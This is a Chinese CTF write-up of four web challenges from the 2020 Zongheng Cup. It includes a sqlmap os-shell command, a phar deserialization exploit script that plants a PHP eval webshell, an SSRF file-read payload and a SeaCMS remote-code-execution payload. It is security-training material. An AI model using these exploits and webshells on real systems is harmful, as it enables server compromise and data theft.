纵横杯2020 web wp
title: 縱橫杯2020 web wp
date: 2020-12-26 18:19:03
tags: CTF
categories: 比賽
link:https://yq1ng.github.io/
圖片是新博客截圖過來的,可能糊了,可以去新博客地址看
WankkoRee師傅、Mr.水函師傅帶飛我,這次比賽學(xué)到不少東西,先放個(gè)排名,膜拜師傅們
第一次ak web,后援團(tuán)的大師傅們的思路都很騷,多多學(xué)習(xí),今天被引號閉合搞了兩次,以后注意,phar的閉合與cms的閉合
- easyci
- hello_php
- ezcms
- 大家一起來審代碼
easyci
早上起來晚了,隊(duì)友說這個(gè)sqlmap就能跑,當(dāng)時(shí)我還不信,沒見過比賽還能用sqlmap的。起床后自己試了試真的是欸,但是沒用,跑出來的賬號密碼登陸沒東西,flag也不在數(shù)據(jù)庫,那就要getshell了,但是不知道絕對路徑,馬子寫不上去,從團(tuán)長那里得到y(tǒng)u師傅提示,讀取配置文件/etc/apache2/sites-enabled/000-default.conf,得到網(wǎng)站絕對路徑/var/sercet/html,用sqlmap進(jìn)行g(shù)etshell:py2 .\sqlmap.py -r ..\a.txt --os-shell手動選擇路徑,盡情玩耍
#/etc/apache2/sites-enabled/000-default.conf <VirtualHost *:80># The ServerName directive sets the request scheme, hostname and port that# the server uses to identify itself. This is used when creating# redirection URLs. In the context of virtual hosts, the ServerName# specifies what hostname must appear in the request's Host: header to# match this virtual host. For the default virtual host (this file) this# value is not decisive as it is used as a last resort host regardless.# However, you must set it for any further virtual host explicitly.#ServerName www.example.comServerAdmin webmaster@localhostDocumentRoot /var/sercet/html# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the loglevel for particular# modules, e.g.#LogLevel info ssl:warnErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined# For most configuration files from conf-available/, which are# enabled or disabled at a global level, it is possible to# include a line for only one particular virtual host. For example the# following line enables the CGI configuration for this host only# after it has been globally disabled with "a2disconf".#Include conf-available/serve-cgi-bin.conf </VirtualHost># vim: syntax=apache ts=4 sw=4 sts=4 sr noethello_php
掃描目錄,發(fā)現(xiàn)www.zip備份文件,下載后審計(jì)源碼,得到登陸賬號密碼:admin,admin888,登陸后的頁面有上傳文件,且在index.php頁面發(fā)現(xiàn)file_exists函數(shù),使用phar進(jìn)行反序列化攻擊,exp如下:
<?php /*** @Author: yq1ng* @Date: 2020-12-26* @challenges: hello-php*/ class Config{public $title;public $comment;public $logo_url;public function __construct(){global $title;global $comment;global $logo_url;$this->title= "'?><?php eval(\$_POST[1]);?>";$this->comment = "yq1ng";$this->logo_url = $logo_url;} } @unlink("phar1.phar");//unlink() 函數(shù)刪除文件。 $phar = new Phar("phar.phar"); $phar->startBuffering();//開始緩沖Phar寫操作 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設(shè)置stub $A=new Config; $phar->setMetadata($A);//將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test");//以字符串的形式添加一個(gè)文件到phar檔案添加要壓縮的文件 //簽名自動計(jì)算 $phar->stopBuffering();由于上傳文件的命名方式為時(shí)間戳的md5,所以再寫一個(gè)獲取時(shí)間戳md5的腳本,用來嘗試上傳后文件名,腳本使用方式為,先開啟腳本,緊接著上傳文件,然后挨個(gè)試文件名,上傳后尋找文件名,未出現(xiàn)404則成功
import time import hashlibdef md5vale(key):input_name = hashlib.md5()input_name.update(key.encode("utf-8"))print(input_name.hexdigest())for i in range(5):a=str(int(time.time()))md5vale(a)time.sleep(1)然后使用phar偽協(xié)議讀取
進(jìn)入config.php進(jìn)行rce
查看flag發(fā)現(xiàn)并不行,沒有權(quán)限,使用蟻劍插件進(jìn)行bypass,上次網(wǎng)絡(luò)不錯(cuò)一口氣把蟻劍插件全部download了,也不會用,這次跟著團(tuán)長學(xué)會了這個(gè)插件
ezcms
https://www.cnblogs.com/Spec/p/11188198.html
www.zip下載源碼,使用弱口令登陸后臺:URL/adm1n/login.php,admin,admin868
在模塊管理的采集管理處進(jìn)行ssrf,使用file協(xié)議讀取發(fā)現(xiàn)被ban
嘗試使用:<yq1ng><a href="httpxxx://../../../../../../flag">123</a></yq1ng>
提交后點(diǎn)擊采集測試,得到flag
大家一起來審代碼
rce:https://github.com/ciweiin/seacms/issues/11
www.zip下載源碼,但是此cms的漏洞在7月22日的github上由reallws發(fā)布,直接rce即可
查看源碼發(fā)現(xiàn)admin被改為adm1n,進(jìn)入后臺使用默認(rèn)密碼進(jìn)入U(xiǎn)RL/adm1n/login.php:admin,admin
在系統(tǒng)-百度推送處存在rce
Payload:";system(phpinfo());?>#
總結(jié)
以上是生活随笔為你收集整理的纵横杯2020 web wp的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python语法--Mooc七月
- 下一篇: 刘新华老师-沪师经纪